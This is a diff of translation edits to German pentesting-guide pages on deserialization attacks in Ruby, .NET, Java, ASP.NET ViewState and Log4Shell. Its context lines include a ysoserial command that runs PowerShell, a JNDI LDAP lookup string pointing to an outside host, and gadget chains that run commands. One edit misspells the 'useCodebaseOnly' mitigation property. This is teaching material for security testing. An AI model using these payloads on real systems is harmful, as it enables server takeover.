# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
-Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was spec aufruft, das fetch_path aufruft, wodurch es möglich war, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
+Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was spec aufruft, das fetch_path aufruft, was es ermöglichte, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
```json
{
"^o": "URI::HTTP",
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index 815c0d95d..7b4718102 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -12,7 +12,7 @@ Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführe
### **Wie ist das möglich**
-Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist.
+Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` zu finden ist, ist der Ort, an dem der ObjectDataProvider definiert und implementiert ist.
Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den **Code** der Klasse, an der wir interessiert sind, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
@@ -56,10 +56,10 @@ Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.303
## ExpandedWrapper
-Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis über den Objekttyp, der in der** _ObjectDataProvider_ Instanz **eingekapselt ist** (zum Beispiel `Process`). Sie können mehr [Informationen über die DotNetNuke-Schwachstelle hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) finden.
+Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis über den Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Sie können mehr [Informationen über die DotNetNuke-Schwachstelle hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) finden.
Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
-Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, **\_ObjectDataProvider**_\*\* innerhalb einer \*\*_**ExpandedWrapper** \_ Instanz **einzupacken**, und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
+Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, **\_ObjectDataProvider**_\*\* innerhalb einer \*\*_**ExpandedWrapper** \_ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
```java
@@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
-Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren** könnten, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.
+Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren könnten**, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.
### Json.Net Beispiel
-Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
+Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
```java
using System;
using Newtonsoft.Json;
diff --git a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
index 22784e86c..c4e13e942 100644
--- a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
+++ b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
@@ -4,7 +4,7 @@ In diesem POST wird ein Beispiel mit `java.io.Serializable` erklärt.
# Serializable
-Das Java `Serializable`-Interface (`java.io.Serializable` ist ein Marker-Interface, das Ihre Klassen implementieren müssen, wenn sie **serialisiert** und **deserialisiert** werden sollen. Die Java-Objektserialisierung (Schreiben) erfolgt mit dem [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) und die Deserialisierung (Lesen) erfolgt mit dem [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
+Das Java `Serializable`-Interface (`java.io.Serializable`) ist ein Marker-Interface, das Ihre Klassen implementieren müssen, wenn sie **serialisiert** und **deserialisiert** werden sollen. Die Java-Objektserialisierung (Schreiben) erfolgt mit dem [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) und die Deserialisierung (Lesen) erfolgt mit dem [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Lassen Sie uns ein Beispiel mit einer **Klasse Person** ansehen, die **serialisierbar** ist. Diese Klasse **überschreibt die readObject**-Funktion, sodass, wenn **irgendein Objekt** dieser **Klasse** **deserialisiert** wird, diese **Funktion** **ausgeführt** wird.\
Im Beispiel ruft die **readObject-Funktion** der Klasse Person die Funktion `eat()` seines Haustiers auf, und die Funktion `eat()` eines Hundes (aus irgendeinem Grund) ruft eine **calc.exe** auf. **Wir werden sehen, wie man ein Person-Objekt serialisiert und deserialisiert, um diesen Rechner auszuführen:**
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 5a5a9bd8f..1a05db821 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -72,7 +72,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, sodass es im Gegensatz zu Blacklist3r keine Windows-Abhängigkeit gibt. Für .NET viewstates gibt es ein "python blacklist3r" Dienstprogramm, das der schnellste Weg ist, es zu verwenden.
-Es kann entweder direkt mit dem viewstate und dem generator versorgt werden:
+Es kann entweder direkt mit dem viewstate und dem Generator versorgt werden:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
-In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese:
+In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht** vom Server **gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese:
```bash
--apppath="/" --path="/hello.aspx"
```
@@ -114,7 +114,7 @@ In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann
**Vor .NET 4.5** kann ASP.NET einen **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, **auch wenn** **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.**
-Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE über die ViewState-Deserialisierungsanfälligkeit durchzuführen.
+Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE unter Verwendung der ViewState-Deserialisierungsanfälligkeit durchzuführen.
- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC-Validierungsfehler zurückgegeben und der Exploit schlägt fehl.
@@ -155,7 +155,7 @@ Wenn Sie den Wert von `__VIEWSTATEGENERATOR` haben, können Sie versuchen, den `

-Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
+Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, das über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
### Testfall 6 – ViewStateUserKeys wird verwendet
@@ -166,7 +166,7 @@ Sie müssen einen weiteren Parameter verwenden, um die Payload korrekt zu erstel
```
### Ergebnis einer erfolgreichen Ausnutzung
-Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** funktioniert, antwortet der Server mit “**500 Internal server error**” und hat den Antwortinhalt “**Die Statusinformationen sind für diese Seite ungültig und könnten beschädigt sein**” und wir erhalten die OOB-Anfrage.
+Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** funktioniert, antwortet der Server mit “**500 Internal server error**” und dem Antwortinhalt “**Die Statusinformationen sind für diese Seite ungültig und könnten beschädigt sein**” und wir erhalten die OOB-Anfrage.
Überprüfen Sie [weitere Informationen hier]()
@@ -177,4 +177,6 @@ Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** f
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
+
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
index 67ceebcdf..8fc496e65 100644
--- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
+++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
@@ -8,7 +8,7 @@ Die Klasse `java.net.URL` implementiert `Serializable`, das bedeutet, dass diese
```java
public final class URL implements java.io.Serializable {
```
-Diese Klasse hat ein **eigenartiges Verhalten.** Aus der Dokumentation: „**Zwei Hosts werden als gleichwertig betrachtet, wenn beide Hostnamen in dieselben IP-Adressen aufgelöst werden können**“.\
+Diese Klasse hat ein **neugieriges Verhalten.** Aus der Dokumentation: “**Zwei Hosts werden als gleichwertig betrachtet, wenn beide Hostnamen in die gleichen IP-Adressen aufgelöst werden können**.”\
Jedes Mal, wenn ein URL-Objekt **irgendeine** der **Funktionen `equals`** oder **`hashCode`** aufruft, wird eine **DNS-Anfrage** gesendet, um die IP-Adresse zu erhalten.
**Den** Funktionsaufruf **`hashCode`** **von** einem **URL**-Objekt auszuführen, ist ziemlich einfach; es reicht aus, dieses Objekt in eine `HashMap` einzufügen, die deserialisiert werden soll. Dies liegt daran, dass **am Ende** der **`readObject`**-Funktion von `HashMap` dieser Code ausgeführt wird:
@@ -28,7 +28,7 @@ int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
-Wie Sie sehen können, **wird beim Deserialisieren** eines **`HashMap`** die Funktion `hash` **mit jedem Objekt** **ausgeführt** und **während** der **`hash`**-Ausführung **wird `.hashCode()` des Objekts ausgeführt**. Daher, wenn Sie ein **`HashMap`** **deserialisieren**, das ein **URL**-Objekt enthält, wird das **URL-Objekt** **`.hashCode()` ausführen**.
+Wie Sie sehen können, **wird beim Deserialisieren** eines **`HashMap`** die Funktion `hash` **mit jedem Objekt** **ausgeführt** und **während** der **`hash`**-Ausführung **wird `.hashCode()` des Objekts** **ausgeführt**. Daher, wenn Sie ein **`HashMap`** **deserialisieren**, das ein **URL**-Objekt enthält, wird das **URL-Objekt** **`.hashCode()`** **ausführen**.
Jetzt schauen wir uns den Code von `URLObject.hashCode()` an:
```java
@@ -59,7 +59,7 @@ Daher kann diese Klasse **missbraucht** werden, um eine **DNS-Abfrage** zu **sta
### URLDNS Payload-Codebeispiel
-Sie finden den [URDNS-Payload-Code von ysoserial hier](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Um es jedoch einfacher zu machen, zu verstehen, wie man es codiert, habe ich mein eigenes PoC erstellt (basierend auf dem von ysoserial):
+Sie finden den [URDNS Payload-Code von ysoserial hier](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Um es jedoch einfacher zu machen, wie man es codiert, habe ich mein eigenes PoC erstellt (basierend auf dem von ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;
@@ -122,16 +122,16 @@ return null;
}
}
```
-### Mehr Informationen
+### Weitere Informationen
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
-- In der ursprünglichen Idee wurde die Commons Collections-Payload geändert, um eine DNS-Abfrage durchzuführen. Dies war weniger zuverlässig als die vorgeschlagene Methode, aber dies ist der Beitrag: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
+- In der ursprünglichen Idee wurde die Commons Collections-Payload geändert, um eine DNS-Abfrage durchzuführen, dies war weniger zuverlässig als die vorgeschlagene Methode, aber dies ist der Beitrag: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
Sie können [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) aus dem Burp Suite App Store (Extender) herunterladen.
-**GadgetProbe** wird versuchen herauszufinden, ob einige **Java-Klassen existieren** auf der Java-Klasse des Servers, damit Sie wissen, **ob** es **anfällig** für einen bekannten Exploit ist.
+**GadgetProbe** wird versuchen herauszufinden, ob einige **Java-Klassen existieren** auf der Java-Klasse des Servers, damit Sie wissen können, **ob** es **anfällig** für einen bekannten Exploit ist.
### Wie funktioniert es
@@ -141,7 +141,7 @@ Im GitHub hat [**GadgetProbe einige Wortlisten**](https://github.com/BishopFox/G
 (1).gif>)
-### Mehr Informationen
+### Weitere Informationen
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
@@ -152,7 +152,7 @@ Die **Erweiterung** hat **passive** und aktive **Funktionen**.
### Passiv
-Standardmäßig **prüft es passiv** alle Anfragen und Antworten, die **gesendet** werden, um nach **Java-serialisierten magischen Bytes** zu suchen, und wird eine Warnung vor einer Schwachstelle anzeigen, wenn eine gefunden wird:
+Standardmäßig **prüft es passiv** alle gesendeten Anfragen und Antworten **auf der Suche nach** **Java-serialisierten magischen Bytes** und wird eine Warnung vor einer Schwachstelle anzeigen, wenn eine gefunden wird:
.png>)
@@ -170,11 +170,11 @@ Auch wenn dies "Manuelles Testen" genannt wird, ist es ziemlich **automatisiert*
**Exploiting**
Sobald Sie eine anfällige Bibliothek identifiziert haben, können Sie die Anfrage an den _Exploiting Tab_ senden.\
-In diesem Tab müssen Sie den **Injektionspunkt** erneut **auswählen**, die **anfällige Bibliothek** angeben, für die Sie eine Payload erstellen möchten, und den **Befehl**. Drücken Sie dann einfach die entsprechende **Angriff**-Taste.
+In diesem Tab müssen Sie den **Einsprungspunkt** erneut **auswählen**, die **anfällige Bibliothek** angeben, für die Sie eine Payload erstellen möchten, und den **Befehl**. Drücken Sie dann einfach die entsprechende **Angriff**-Taste.

-### Java Deserialization DNS Exfil Informationen
+### Java Deserialization DNS Exfil-Informationen
Lassen Sie Ihre Payload etwas wie das Folgende ausführen:
```bash
diff --git a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
index c9e31c9ed..cf03963b3 100644
--- a/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
+++ b/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
@@ -44,7 +44,7 @@ lazyMap.get("anything");
```
Wenn Sie nichts über Java-Deserialisierungs-Payloads wissen, könnte es schwierig sein herauszufinden, warum dieser Code einen Calc ausführt.
-Zunächst müssen Sie wissen, dass ein **Transformer in Java** etwas ist, das eine **Klasse empfängt** und sie in eine andere **transformiert**.\
+Zunächst müssen Sie wissen, dass ein **Transformer in Java** etwas ist, das **eine Klasse empfängt** und **sie in eine andere umwandelt**.\
Es ist auch interessant zu wissen, dass die **Payload**, die hier **ausgeführt** wird, **äquivalent** ist zu:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
@@ -84,7 +84,7 @@ command
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
-Wenn Sie den Code lesen, werden Sie feststellen, dass Sie, wenn Sie die Transformation des Arrays irgendwie verketten, in der Lage wären, beliebige Befehle auszuführen.
+Wenn Sie den Code lesen, werden Sie feststellen, dass Sie, wenn Sie irgendwie die Transformation des Arrays verketten, in der Lage sein könnten, beliebige Befehle auszuführen.
Also, **wie werden diese Transformationen verkettet?**
```java
@@ -92,7 +92,7 @@ Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
-Im letzten Abschnitt der Payload sehen Sie, dass ein **Map-Objekt erstellt wird**. Dann wird die Funktion `decorate` von `LazyMap` mit dem Map-Objekt und den verketteten Transformatoren ausgeführt. Aus dem folgenden Code können Sie sehen, dass dies dazu führen wird, dass die **verketteten Transformatoren** im Attribut `lazyMap.factory` kopiert werden:
+Im letzten Abschnitt der Payload können Sie sehen, dass ein **Map-Objekt erstellt wird**. Dann wird die Funktion `decorate` von `LazyMap` mit dem Map-Objekt und den verketteten Transformatoren ausgeführt. Aus dem folgenden Code können Sie sehen, dass dies dazu führen wird, dass die **verketteten Transformatoren** im Attribut `lazyMap.factory` kopiert werden:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@@ -124,7 +124,7 @@ object = iTransformers[i].transform(object);
return object;
}
```
-Also, denken Sie daran, dass wir innerhalb der **factory** **`chainedTransformer`** gespeichert haben und innerhalb der **`transform`**-Funktion **alle diese verketteten Transformer durchlaufen** und nacheinander ausführen. Das Lustige ist, dass **jeder Transformer `object`** **als Eingabe** verwendet und **object die Ausgabe des zuletzt ausgeführten Transformers ist**. Daher **werden alle Transformationen verkettet ausgeführt, um die bösartige Nutzlast**.
+Also, denken Sie daran, dass wir innerhalb der **factory** **`chainedTransformer`** gespeichert haben und innerhalb der **`transform`**-Funktion **alle diese verketteten Transformer durchlaufen** und nacheinander ausführen. Das Lustige daran ist, dass **jeder Transformer `object`** **als Eingabe verwendet** und **object die Ausgabe des zuletzt ausgeführten Transformers ist**. Daher **werden alle Transformationen verkettet ausgeführt, um die bösartige Payload** auszuführen.
### Zusammenfassung
@@ -157,7 +157,7 @@ Beachten Sie, dass hier die **Gadgets** erklärt wurden, die für die **ComonsCo
## Java Thread Sleep
-Diese Payload könnte **nützlich sein, um zu identifizieren, ob die Website anfällig ist, da sie eine Pause ausführen wird, wenn dies der Fall ist**.
+Diese Payload könnte **nützlich sein, um zu identifizieren, ob die Website anfällig ist, da sie eine Pause ausführt, wenn dies der Fall ist**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
index 164674b2b..1aeeec16e 100644
--- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
+++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -11,11 +11,11 @@ JNDI, seit den späten 1990er Jahren in Java integriert, dient als Verzeichnisdi
Java-Objekte können mithilfe von JNDI Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:
- **Referenzadressen**: Gibt den Standort eines Objekts an (z. B. _rmi://server/ref_), was eine direkte Abholung von der angegebenen Adresse ermöglicht.
-- **Remote Factory**: Verweist auf eine Remote-Fabrikklasse. Bei Zugriff wird die Klasse von dem Remote-Standort heruntergeladen und instanziiert.
+- **Remote Factory**: Verweist auf eine Remote-Fabrikklasse. Bei Zugriff wird die Klasse von der Remote-Location heruntergeladen und instanziiert.
Dieses Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen von beliebigem Code führen kann. Als Gegenmaßnahme:
-- **RMI**: `java.rmi.server.useCodebaseOnly = true` standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Security Manager schränkt weiter ein, was geladen werden kann.
+- **RMI**: `java.rmi.server.useCodeabseOnly = true` standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Security Manager schränkt weiter ein, was geladen werden kann.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standardmäßig ab JDK 6u141, 7u131, 8u121, was die Ausführung von remote geladenen Java-Objekten blockiert. Wenn auf `true` gesetzt, ist die Ausführung von Remote-Code ohne Aufsicht eines Security Managers möglich.
- **CORBA**: Hat keine spezifische Eigenschaft, aber der Security Manager ist immer aktiv.
@@ -33,7 +33,7 @@ Trotz der Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgr
.png>)
-Selbst wenn Sie eine **`PROVIDER_URL`** festgelegt haben, können Sie eine andere in einem Lookup angeben, und sie wird abgerufen: `ctx.lookup("")`, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.
+Selbst wenn Sie eine **`PROVIDER_URL`** festgelegt haben, können Sie in einem Lookup eine andere angeben, und sie wird abgerufen: `ctx.lookup("")`, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte aus einem von ihm kontrollierten System zu laden.
### CORBA Übersicht
@@ -64,7 +64,7 @@ Ein **Lookup** ist für **Namensdienste** gedacht, da wir **alles abrufen möcht
Wenn die LDAP-Suche mit **SearchControls.setReturningObjFlag() mit `true` aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert**.
Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen.\
-Ein **Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt**, die in den Systemen, die sie sammeln, ausgeführt werden (sehr nützlich, um **Dutzende von Maschinen zu kompromittieren**, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen **MitM-Angriff in einer LDAP-Suche** durchzuführen.
+Ein **Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt**, die in den Systemen ausgeführt werden, die sie sammeln (sehr nützlich, um **Dutzende von Maschinen zu kompromittieren**, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen **MitM-Angriff in einer LDAP-Suche** durchzuführen.
Falls Sie **eine App dazu bringen können, eine JNDI LDAP-URL aufzulösen**, können Sie den LDAP steuern, der durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).
@@ -87,7 +87,7 @@ Die Schwachstelle wird in Log4j eingeführt, da es eine [**besondere Syntax**](h
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) führte eine `jndi` Lookup-Funktion ein. Diese Funktion ermöglicht den Abruf von Variablen über JNDI. Typischerweise wird der Schlüssel automatisch mit `java:comp/env/` vorangestellt. Wenn der Schlüssel selbst jedoch ein **":"** enthält, wird dieses Standardpräfix nicht angewendet.
-Mit einem **: im Schlüssel**, wie in `${jndi:ldap://example.com/a}`, gibt es **kein Präfix**, und der **LDAP-Server wird nach dem Objekt abgefragt**. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
+Mit einem **: im Schlüssel**, wie in `${jndi:ldap://example.com/a}`, gibt es **kein Präfix** und der **LDAP-Server wird nach dem Objekt abgefragt**. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine **anfällige Version von Log4j, die Informationen verarbeitet, die vom Benutzer kontrolliert werden**. Und da dies eine Bibliothek ist, die von Java-Anwendungen weit verbreitet verwendet wird, um Informationen zu protokollieren (einschließlich internetfähiger Anwendungen), war es sehr häufig, dass log4j beispielsweise HTTP-Header wie den User-Agent protokollierte. Log4j wird jedoch **nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern auch alle Eingaben** und Daten, die der Entwickler angegeben hat.
@@ -95,7 +95,7 @@ Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine **anfällige
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritisch]**
-Diese Schwachstelle ist ein kritischer **nicht vertrauenswürdiger Deserialisierungsfehler** im `log4j-core`-Komponenten, der Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht **remote code execution (RCE)**, wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der ursprüngliche Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar ([Regel 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regel 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
+Diese Schwachstelle ist ein kritischer **nicht vertrauenswürdiger Deserialisierungsfehler** im `log4j-core`-Komponenten, der Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht **remote code execution (RCE)**, wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der erste Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar ([Regel 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regel 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritisch]**
@@ -207,7 +207,7 @@ Any other env variable name that could store sensitive information
> [!NOTE]
